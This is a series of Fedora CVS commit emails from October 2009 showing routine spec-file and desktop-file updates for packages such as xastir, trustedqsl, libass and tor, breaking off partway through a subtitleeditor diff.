Message-ID: <20091025192919.142D311C00E5@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/xastir/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23343

Modified Files:
	xastir.desktop xastir.spec 
Log Message:
fix desktop file (#530841)


Index: xastir.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/devel/xastir.desktop,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- xastir.desktop	21 Dec 2008 16:11:51 -0000	1.2
+++ xastir.desktop	25 Oct 2009 19:29:18 -0000	1.3
@@ -6,5 +6,5 @@ Exec=xastir
 Icon=xastir
 Terminal=false
 Type=Application
-Categories=HamRadio;
+Categories=Network;HamRadio;
 Version=1.0


Index: xastir.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/devel/xastir.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- xastir.spec	13 Oct 2009 16:34:11 -0000	1.22
+++ xastir.spec	25 Oct 2009 19:29:18 -0000	1.23
@@ -2,7 +2,7 @@ Summary: Amateur Station Tracking and Re
 Name:    xastir
 Epoch:   1
 Version: 1.9.6
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 Group:   Applications/Internet
 Source0: http://downloads.sourceforge.net/xastir/xastir-%{version}.tar.gz
@@ -43,7 +43,7 @@ for f in README ChangeLog ; do
     touch -r $f.iso88591 $f
     rm -f $f.iso88591
 done
-dos2unix -k scripts/toporama250k.pl 
+dos2unix -k scripts/toporama250k.pl
 
 %install
 rm -rf %{buildroot}
@@ -83,6 +83,9 @@ rm -rf %{buildroot}
 %doc README.MAPS README.win32 UPGRADE
 
 %changelog
+* Sun Oct 25 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.6-2
+- fix desktop file (#530841)
+
 * Tue Oct 13 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.6-1
 - drop patch1 fixed upstream
 - new upstream release
@@ -166,15 +169,15 @@ rm -rf %{buildroot}
 * Thu Jul 03 2003 Alan Crosswell <n2ygk at weca.org>
 - 1.2.1 my patches now integrated into the main trunk.
 
-* Sat Jun 21 2003 Alan Crosswell <n2ygk at weca.org> 
+* Sat Jun 21 2003 Alan Crosswell <n2ygk at weca.org>
 - added xastir-maps.patch
 
-* Mon Jun 16 2003 Alan Crosswell <n2ygk at weca.org> 
+* Mon Jun 16 2003 Alan Crosswell <n2ygk at weca.org>
 - 1.2.0
 
-* Fri Jun 06 2003 Alan Crosswell <n2ygk at weca.org> 
+* Fri Jun 06 2003 Alan Crosswell <n2ygk at weca.org>
 - June 5 snapshot
 
-* Thu May 15 2003 Alan Crosswell <n2ygk at weca.org> 
+* Thu May 15 2003 Alan Crosswell <n2ygk at weca.org>
 - start with chuck's spec file for 1.1.4
 



From mso at fedoraproject.org  Sun Oct 25 19:36:20 2009
From: mso at fedoraproject.org (Martin Sourada)
Date: Sun, 25 Oct 2009 19:36:20 +0000 (UTC)
Subject: rpms/libass/devel .cvsignore, 1.3, 1.4 libass.spec, 1.4, 1.5 sources,
	1.3, 1.4
Message-ID: <20091025193620.D48EB11C00E5@cvs1.fedora.phx.redhat.com>

Author: mso

Update of /cvs/extras/rpms/libass/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25343

Modified Files:
	.cvsignore libass.spec sources 
Log Message:


New upstream release.




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/libass/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	10 Aug 2009 11:25:59 -0000	1.3
+++ .cvsignore	25 Oct 2009 19:36:20 -0000	1.4
@@ -1 +1 @@
-libass-0.9.7.tar.bz2
+libass-0.9.8.tar.bz2


Index: libass.spec
===================================================================
RCS file: /cvs/extras/rpms/libass/devel/libass.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- libass.spec	10 Aug 2009 11:25:59 -0000	1.4
+++ libass.spec	25 Oct 2009 19:36:20 -0000	1.5
@@ -1,5 +1,5 @@
 Name:           libass
-Version:        0.9.7
+Version:        0.9.8
 Release:        1%{?dist}
 Summary:        Portable library for SSA/ASS subtitles rendering
 
@@ -64,6 +64,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/libass.pc
 
 %changelog
+* Sun Oct 25 2009 Martin Sourada <mso at fedoraproject.org> - 0.9.8-1
+- New upstream release
+- See http://repo.or.cz/w/libass.git?a=blob;f=Changelog for changes
+
 * Mon Aug 10 2009 Martin Sourada <mso at fedoraproject.org> - 0.9.7-1
 - New upstream release
 - Upstream changed from sourceforge to code.google


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/libass/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	10 Aug 2009 11:25:59 -0000	1.3
+++ sources	25 Oct 2009 19:36:20 -0000	1.4
@@ -1 +1 @@
-28b0de58dec54ca75c3195ddda46ee3d  libass-0.9.7.tar.bz2
+e0b0c81f2e2651408e72b02473d35cde  libass-0.9.8.tar.bz2



From lucilanga at fedoraproject.org  Sun Oct 25 19:38:52 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Sun, 25 Oct 2009 19:38:52 +0000 (UTC)
Subject: rpms/xastir/F-12 xastir.spec,1.22,1.23
Message-ID: <20091025193852.A690211C0269@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/xastir/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26380

Modified Files:
	xastir.spec 
Log Message:
fix desktop file (#530841)


Index: xastir.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/F-12/xastir.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- xastir.spec	19 Oct 2009 17:58:06 -0000	1.22
+++ xastir.spec	25 Oct 2009 19:38:52 -0000	1.23
@@ -2,7 +2,7 @@ Summary: Amateur Station Tracking and Re
 Name:    xastir
 Epoch:   1
 Version: 1.9.6
-Release: 1%{?dist}
+Release: 3%{?dist}
 License: GPLv2+
 Group:   Applications/Internet
 Source0: http://downloads.sourceforge.net/xastir/xastir-%{version}.tar.gz
@@ -72,8 +72,8 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %{_bindir}/xastir
 %{_bindir}/xastir_udp_client
-%{_bindir}/testdbfawk
 %{_bindir}/callpass
+%{_bindir}/testdbfawk
 %{_mandir}/man1/xastir.*
 %{_datadir}/xastir
 %{_datadir}/pixmaps/%{name}.png
@@ -83,8 +83,14 @@ rm -rf %{buildroot}
 %doc README.MAPS README.win32 UPGRADE
 
 %changelog
-* Mon Oct 19 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.6-1
-- drop patch1 (fixed upstream)
+* Sun Oct 25 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.6-3
+- fix desktop file (#530841)
+
+* Sun Oct 25 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.6-2
+- fix desktop file (#530841)
+
+* Tue Oct 13 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.6-1
+- drop patch1 fixed upstream
 - new upstream release
 
 * Mon Aug 10 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.4-10



From lucilanga at fedoraproject.org  Sun Oct 25 19:41:29 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Sun, 25 Oct 2009 19:41:29 +0000 (UTC)
Subject: rpms/xastir/F-11 xastir.desktop,1.2,1.3 xastir.spec,1.19,1.20
Message-ID: <20091025194129.B4FAE11C00E5@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/xastir/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27074

Modified Files:
	xastir.desktop xastir.spec 
Log Message:
fix desktop file (#530841)


Index: xastir.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/F-11/xastir.desktop,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- xastir.desktop	21 Dec 2008 16:11:51 -0000	1.2
+++ xastir.desktop	25 Oct 2009 19:41:29 -0000	1.3
@@ -6,5 +6,5 @@ Exec=xastir
 Icon=xastir
 Terminal=false
 Type=Application
-Categories=HamRadio;
+Categories=Network;HamRadio;
 Version=1.0


Index: xastir.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/F-11/xastir.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- xastir.spec	20 Oct 2009 04:55:41 -0000	1.19
+++ xastir.spec	25 Oct 2009 19:41:29 -0000	1.20
@@ -2,7 +2,7 @@ Summary: Amateur Station Tracking and Re
 Name:    xastir
 Epoch:   1
 Version: 1.9.6
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 Group:   Applications/Internet
 Source0: http://downloads.sourceforge.net/xastir/xastir-%{version}.tar.gz
@@ -83,6 +83,9 @@ rm -rf %{buildroot}
 %doc README.MAPS README.win32 UPGRADE
 
 %changelog
+* Sun Oct 25 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.6-2
+- fix desktop file (#530841)
+
 * Tue Oct 20 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.6-1
 - drop patch1 fixed upstream
 - new upstream release



From hguemar at fedoraproject.org  Sun Oct 25 19:43:30 2009
From: hguemar at fedoraproject.org (=?utf-8?b?SGHDr2tlbCBHdcOpbWFy?=)
Date: Sun, 25 Oct 2009 19:43:30 +0000 (UTC)
Subject: rpms/python-mpd/F-10 python-mpd.spec,1.3,1.4
Message-ID: <20091025194330.E475411C00E5@cvs1.fedora.phx.redhat.com>

Author: hguemar

Update of /cvs/extras/rpms/python-mpd/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27625

Modified Files:
	python-mpd.spec 
Log Message:
fixed typo in changelog


Index: python-mpd.spec
===================================================================
RCS file: /cvs/extras/rpms/python-mpd/F-10/python-mpd.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- python-mpd.spec	25 Oct 2009 16:35:50 -0000	1.3
+++ python-mpd.spec	25 Oct 2009 19:43:30 -0000	1.4
@@ -2,7 +2,7 @@
 
 Name:           python-mpd
 Version:        0.2.1
-Release:        1%{?dist}
+Release:        1%{?dist}.1
 Summary:        Python MPD client library
 Group:          Development/Languages
 License:        GPLv3+
@@ -40,7 +40,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Sun Oct 25 2009 Ha?kel Gu?mar <karlethered at gmail.com> - 0.2.1-1
+* Sun Oct 25 2009 Ha?kel Gu?mar <karlthered at gmail.com> - 0.2.1-1
 - Updated to 0.2.1
 
 * Sun Apr 13 2008 Micha? Bentkowski <mr.ecik at gmail.com> - 0.2.0-3



From lucilanga at fedoraproject.org  Sun Oct 25 19:50:42 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Sun, 25 Oct 2009 19:50:42 +0000 (UTC)
Subject: rpms/xastir/F-10 xastir.desktop,1.1,1.2 xastir.spec,1.14,1.15
Message-ID: <20091025195042.ED62511C02BB@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/xastir/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31100

Modified Files:
	xastir.desktop xastir.spec 
Log Message:
fix desktop file (#530841)


Index: xastir.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/F-10/xastir.desktop,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xastir.desktop	8 Mar 2008 16:54:01 -0000	1.1
+++ xastir.desktop	25 Oct 2009 19:50:42 -0000	1.2
@@ -1,11 +1,10 @@
 [Desktop Entry]
-Encoding=UTF-8
 Name=xastir
 GenericName=Xastir
 Comment=Amateur Station Tracking and Reporting system for amateur radio
 Exec=xastir
-Icon=xastir.png
+Icon=xastir
 Terminal=false
 Type=Application
-Categories=HamRadio;
+Categories=Network;HamRadio;
 Version=1.0


Index: xastir.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/F-10/xastir.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- xastir.spec	20 Oct 2009 05:23:37 -0000	1.14
+++ xastir.spec	25 Oct 2009 19:50:42 -0000	1.15
@@ -1,7 +1,7 @@
 Summary: Amateur Station Tracking and Reporting system for amateur radio
 Name:    xastir
 Version: 1.9.6
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 Group:   Applications/Internet
 Source0: http://downloads.sourceforge.net/xastir/xastir-%{version}.tar.gz
@@ -81,6 +81,9 @@ rm -rf %{buildroot}
 %doc README.MAPS README.win32 UPGRADE
 
 %changelog
+* Sun Oct 25 2009 Lucian Langa <cooly at gnome.eu.org> - 1.9.6-2
+- fix desktop file (#530841)
+
 * Tue Oct 20 2009 Lucian Langa <cooly at gnome.eu.org> - 1.9.6-1
 - drop patch1 fixed upstream
 - new upstream release



From lucilanga at fedoraproject.org  Sun Oct 25 20:28:15 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Sun, 25 Oct 2009 20:28:15 +0000 (UTC)
Subject: rpms/trustedqsl/devel trustedqsl.spec,1.4,1.5
Message-ID: <20091025202816.5948C11C00E5@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/trustedqsl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14381

Modified Files:
	trustedqsl.spec 
Log Message:
fix desktop file (#530839)


Index: trustedqsl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/trustedqsl/devel/trustedqsl.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- trustedqsl.spec	27 Jul 2009 06:18:25 -0000	1.4
+++ trustedqsl.spec	25 Oct 2009 20:28:12 -0000	1.5
@@ -1,6 +1,6 @@
 Name: trustedqsl
 Version: 1.11
-Release: 5%{?dist}
+Release: 6%{?dist}
 Summary: TrustedQSL ham-radio applications
 Group: Applications/Communications
 License: BSD
@@ -41,8 +41,8 @@ make install DESTDIR="%{buildroot}" INST
 mkdir -p %{buildroot}%{_datadir}/applications
 mkdir -p %{buildroot}%{_datadir}/pixmaps
 cp icons/key48.png %{buildroot}%{_datadir}/pixmaps/TrustedQSL.png
-sed -i -e "s/.png//g" -e "s/Application;//g" -e "s/Utility;//g" tqsl.desktop
-sed -i -e "s/.png//g" -e "s/Application;//g" -e "s/Utility;//g" tqslcert.desktop
+sed -i -e "s/.png//g" -e "s/Application;/Network;/g" -e "s/Utility;/GTK;/g" tqsl.desktop
+sed -i -e "s/.png//g" -e "s/Application;/Network;/g" -e "s/Utility;/GTK;/g" tqslcert.desktop
 desktop-file-install \
         --dir=%{buildroot}%{_datadir}/applications tqsl.desktop
 desktop-file-install \
@@ -63,6 +63,9 @@ rm -rf %{buildroot}
 %{_datadir}/pixmaps/TrustedQSL.png
 
 %changelog
+* Sun Oct 25 2009 Lucian Langa <cooly at gnome.eu.org> - 1.11-6
+- fix desktop file (#530839)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.11-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From lucilanga at fedoraproject.org  Sun Oct 25 20:38:11 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Sun, 25 Oct 2009 20:38:11 +0000 (UTC)
Subject: rpms/trustedqsl/F-12 trustedqsl.spec,1.4,1.5
Message-ID: <20091025203811.D95E811C00E5@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/trustedqsl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19776

Modified Files:
	trustedqsl.spec 
Log Message:
fix desktop file (#530839)


Index: trustedqsl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/trustedqsl/F-12/trustedqsl.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- trustedqsl.spec	27 Jul 2009 06:18:25 -0000	1.4
+++ trustedqsl.spec	25 Oct 2009 20:38:11 -0000	1.5
@@ -1,6 +1,6 @@
 Name: trustedqsl
 Version: 1.11
-Release: 5%{?dist}
+Release: 6%{?dist}
 Summary: TrustedQSL ham-radio applications
 Group: Applications/Communications
 License: BSD
@@ -41,8 +41,8 @@ make install DESTDIR="%{buildroot}" INST
 mkdir -p %{buildroot}%{_datadir}/applications
 mkdir -p %{buildroot}%{_datadir}/pixmaps
 cp icons/key48.png %{buildroot}%{_datadir}/pixmaps/TrustedQSL.png
-sed -i -e "s/.png//g" -e "s/Application;//g" -e "s/Utility;//g" tqsl.desktop
-sed -i -e "s/.png//g" -e "s/Application;//g" -e "s/Utility;//g" tqslcert.desktop
+sed -i -e "s/.png//g" -e "s/Application;/Network;/g" -e "s/Utility;/GTK;/g" tqsl.desktop
+sed -i -e "s/.png//g" -e "s/Application;/Network;/g" -e "s/Utility;/GTK;/g" tqslcert.desktop
 desktop-file-install \
         --dir=%{buildroot}%{_datadir}/applications tqsl.desktop
 desktop-file-install \
@@ -63,6 +63,9 @@ rm -rf %{buildroot}
 %{_datadir}/pixmaps/TrustedQSL.png
 
 %changelog
+* Sun Oct 25 2009 Lucian Langa <cooly at gnome.eu.org> - 1.11-6
+- fix desktop file (#530839)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.11-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From lucilanga at fedoraproject.org  Sun Oct 25 20:40:22 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Sun, 25 Oct 2009 20:40:22 +0000 (UTC)
Subject: rpms/trustedqsl/F-11 trustedqsl.spec,1.3,1.4
Message-ID: <20091025204022.1CE2111C02C6@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/trustedqsl/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20651

Modified Files:
	trustedqsl.spec 
Log Message:
fix desktop file (#530839)


Index: trustedqsl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/trustedqsl/F-11/trustedqsl.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- trustedqsl.spec	25 Feb 2009 21:57:41 -0000	1.3
+++ trustedqsl.spec	25 Oct 2009 20:40:20 -0000	1.4
@@ -1,6 +1,6 @@
 Name: trustedqsl
 Version: 1.11
-Release: 4%{?dist}
+Release: 5%{?dist}
 Summary: TrustedQSL ham-radio applications
 Group: Applications/Communications
 License: BSD
@@ -41,8 +41,8 @@ make install DESTDIR="%{buildroot}" INST
 mkdir -p %{buildroot}%{_datadir}/applications
 mkdir -p %{buildroot}%{_datadir}/pixmaps
 cp icons/key48.png %{buildroot}%{_datadir}/pixmaps/TrustedQSL.png
-sed -i -e "s/.png//g" -e "s/Application;//g" -e "s/Utility;//g" tqsl.desktop
-sed -i -e "s/.png//g" -e "s/Application;//g" -e "s/Utility;//g" tqslcert.desktop
+sed -i -e "s/.png//g" -e "s/Application;/Network;/g" -e "s/Utility;/GTK;/g" tqsl.desktop
+sed -i -e "s/.png//g" -e "s/Application;/Network;/g" -e "s/Utility;/GTK;/g" tqslcert.desktop
 desktop-file-install \
         --dir=%{buildroot}%{_datadir}/applications tqsl.desktop
 desktop-file-install \
@@ -63,6 +63,9 @@ rm -rf %{buildroot}
 %{_datadir}/pixmaps/TrustedQSL.png
 
 %changelog
+* Sun Oct 25 2009 Lucian Langa <cooly at gnome.eu.org> - 1.11-5
+- fix desktop file (#530839)
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.11-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From lucilanga at fedoraproject.org  Sun Oct 25 20:46:56 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Sun, 25 Oct 2009 20:46:56 +0000 (UTC)
Subject: rpms/trustedqsl/F-10 trustedqsl.spec,1.2,1.3
Message-ID: <20091025204656.6A42111C00E5@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/trustedqsl/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23064

Modified Files:
	trustedqsl.spec 
Log Message:
fix desktop file (#530839)


Index: trustedqsl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/trustedqsl/F-10/trustedqsl.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- trustedqsl.spec	1 Dec 2008 18:51:59 -0000	1.2
+++ trustedqsl.spec	25 Oct 2009 20:46:55 -0000	1.3
@@ -1,6 +1,6 @@
 Name: trustedqsl
 Version: 1.11
-Release: 3%{?dist}
+Release: 4%{?dist}
 Summary: TrustedQSL ham-radio applications
 Group: Applications/Communications
 License: BSD
@@ -41,8 +41,8 @@ make install DESTDIR="%{buildroot}" INST
 mkdir -p %{buildroot}%{_datadir}/applications
 mkdir -p %{buildroot}%{_datadir}/pixmaps
 cp icons/key48.png %{buildroot}%{_datadir}/pixmaps/TrustedQSL.png
-sed -i -e "s/.png//g" -e "s/Application;//g" -e "s/Utility;//g" tqsl.desktop
-sed -i -e "s/.png//g" -e "s/Application;//g" -e "s/Utility;//g" tqslcert.desktop
+sed -i -e "s/.png//g" -e "s/Application;/Network;/g" -e "s/Utility;/GTK;/g" tqsl.desktop
+sed -i -e "s/.png//g" -e "s/Application;/Network;/g" -e "s/Utility;/GTK;/g" tqslcert.desktop
 desktop-file-install \
         --dir=%{buildroot}%{_datadir}/applications tqsl.desktop
 desktop-file-install \
@@ -63,6 +63,9 @@ rm -rf %{buildroot}
 %{_datadir}/pixmaps/TrustedQSL.png
 
 %changelog
+* Sun Oct 25 2009 Lucian Langa <cooly at gnome.eu.org> - 1.11-4
+- fix desktop file (#530839)
+
 * Mon Dec 01 2008 Lucian Langa <cooly at gnome.eu.org> - 1.11-3
 - fix unowned directories
 



From ensc at fedoraproject.org  Sun Oct 25 20:53:10 2009
From: ensc at fedoraproject.org (ensc)
Date: Sun, 25 Oct 2009 20:53:10 +0000 (UTC)
Subject: rpms/tor/devel .cvsignore, 1.9, 1.10 lastver, 1.9, 1.10 sources,
	1.18, 1.19 tor.spec, 1.37, 1.38
Message-ID: <20091025205310.1C00B11C00E5@cvs1.fedora.phx.redhat.com>

Author: ensc

Update of /cvs/extras/rpms/tor/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25755

Modified Files:
	.cvsignore lastver sources tor.spec 
Log Message:
updated to 0.2.1.20


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/tor/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	9 Aug 2009 20:44:18 -0000	1.9
+++ .cvsignore	25 Oct 2009 20:53:09 -0000	1.10
@@ -1,2 +1,2 @@
-tor-0.2.1.19.tar.gz
-tor-0.2.1.19.tar.gz.asc
+tor-0.2.1.20.tar.gz
+tor-0.2.1.20.tar.gz.asc


Index: lastver
===================================================================
RCS file: /cvs/extras/rpms/tor/devel/lastver,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- lastver	9 Aug 2009 20:44:18 -0000	1.9
+++ lastver	25 Oct 2009 20:53:09 -0000	1.10
@@ -1 +1 @@
-0.2.1.19
+0.2.1.20


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/tor/devel/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	9 Aug 2009 20:44:18 -0000	1.18
+++ sources	25 Oct 2009 20:53:09 -0000	1.19
@@ -1,2 +1,2 @@
-2c0ca9bf5d0cfb771f4d6bec9c4360ca  tor-0.2.1.19.tar.gz
-e31326ab92b82cb0b8b1b829f637c8ef  tor-0.2.1.19.tar.gz.asc
+0d62ee2332fdd95de43debac7435df19  tor-0.2.1.20.tar.gz
+41b665b9a8f80252b45accd3ebd8da00  tor-0.2.1.20.tar.gz.asc


Index: tor.spec
===================================================================
RCS file: /cvs/extras/rpms/tor/devel/tor.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- tor.spec	12 Sep 2009 10:58:13 -0000	1.37
+++ tor.spec	25 Oct 2009 20:53:09 -0000	1.38
@@ -12,8 +12,8 @@
 %{!?release_func:%global release_func() %1%{?dist}}
 
 Name:		tor
-Version:	0.2.1.19
-Release:	%release_func 2
+Version:	0.2.1.20
+Release:	%release_func 1
 Group:		System Environment/Daemons
 License:	BSD
 Summary:	Anonymizing overlay network for TCP (The onion router)
@@ -241,6 +241,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Enrico Scholz <enrico.scholz at informatik.tu-chemnitz.de> - 0.2.1.20-1
+- updated to 0.2.1.20
+
 * Sat Sep 12 2009 Enrico Scholz <enrico.scholz at informatik.tu-chemnitz.de> - 0.2.1.19-2
 - workaround bug in redhat-lsb (#522053)
 



From ensc at fedoraproject.org  Sun Oct 25 20:57:12 2009
From: ensc at fedoraproject.org (ensc)
Date: Sun, 25 Oct 2009 20:57:12 +0000 (UTC)
Subject: rpms/tor/F-12 .cvsignore, 1.9, 1.10 lastver, 1.9, 1.10 sources, 1.18,
	1.19 tor.spec, 1.37, 1.38
Message-ID: <20091025205712.52E7611C00E5@cvs1.fedora.phx.redhat.com>

Author: ensc

Update of /cvs/extras/rpms/tor/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27607

Modified Files:
	.cvsignore lastver sources tor.spec 
Log Message:
updated to 0.2.1.20


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/tor/F-12/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	9 Aug 2009 20:44:18 -0000	1.9
+++ .cvsignore	25 Oct 2009 20:57:10 -0000	1.10
@@ -1,2 +1,2 @@
-tor-0.2.1.19.tar.gz
-tor-0.2.1.19.tar.gz.asc
+tor-0.2.1.20.tar.gz
+tor-0.2.1.20.tar.gz.asc


Index: lastver
===================================================================
RCS file: /cvs/extras/rpms/tor/F-12/lastver,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- lastver	9 Aug 2009 20:44:18 -0000	1.9
+++ lastver	25 Oct 2009 20:57:10 -0000	1.10
@@ -1 +1 @@
-0.2.1.19
+0.2.1.20


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/tor/F-12/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	9 Aug 2009 20:44:18 -0000	1.18
+++ sources	25 Oct 2009 20:57:10 -0000	1.19
@@ -1,2 +1,2 @@
-2c0ca9bf5d0cfb771f4d6bec9c4360ca  tor-0.2.1.19.tar.gz
-e31326ab92b82cb0b8b1b829f637c8ef  tor-0.2.1.19.tar.gz.asc
+0d62ee2332fdd95de43debac7435df19  tor-0.2.1.20.tar.gz
+41b665b9a8f80252b45accd3ebd8da00  tor-0.2.1.20.tar.gz.asc


Index: tor.spec
===================================================================
RCS file: /cvs/extras/rpms/tor/F-12/tor.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- tor.spec	12 Sep 2009 10:58:13 -0000	1.37
+++ tor.spec	25 Oct 2009 20:57:10 -0000	1.38
@@ -12,8 +12,8 @@
 %{!?release_func:%global release_func() %1%{?dist}}
 
 Name:		tor
-Version:	0.2.1.19
-Release:	%release_func 2
+Version:	0.2.1.20
+Release:	%release_func 1
 Group:		System Environment/Daemons
 License:	BSD
 Summary:	Anonymizing overlay network for TCP (The onion router)
@@ -241,6 +241,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Enrico Scholz <enrico.scholz at informatik.tu-chemnitz.de> - 0.2.1.20-1
+- updated to 0.2.1.20
+
 * Sat Sep 12 2009 Enrico Scholz <enrico.scholz at informatik.tu-chemnitz.de> - 0.2.1.19-2
 - workaround bug in redhat-lsb (#522053)
 



From mso at fedoraproject.org  Sun Oct 25 21:03:44 2009
From: mso at fedoraproject.org (Martin Sourada)
Date: Sun, 25 Oct 2009 21:03:44 +0000 (UTC)
Subject: rpms/subtitleeditor/devel .cvsignore, 1.6, 1.7 sources, 1.6,
	1.7 subtitleeditor.spec, 1.10, 1.11
Message-ID: <20091025210345.064C111C00E5@cvs1.fedora.phx.redhat.com>

Author: mso

Update of /cvs/extras/rpms/subtitleeditor/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29410

Modified Files:
	.cvsignore sources subtitleeditor.spec 
Log Message:


update to 0.34.0




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/subtitleeditor/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	6 Dec 2008 12:56:02 -0000	1.6
+++ .cvsignore	25 Oct 2009 21:03:44 -0000	1.7
@@ -1 +1 @@
-subtitleeditor-0.30.0.tar.gz
+subtitleeditor-0.34.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/subtitleeditor/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	6 Dec 2008 12:56:02 -0000	1.6
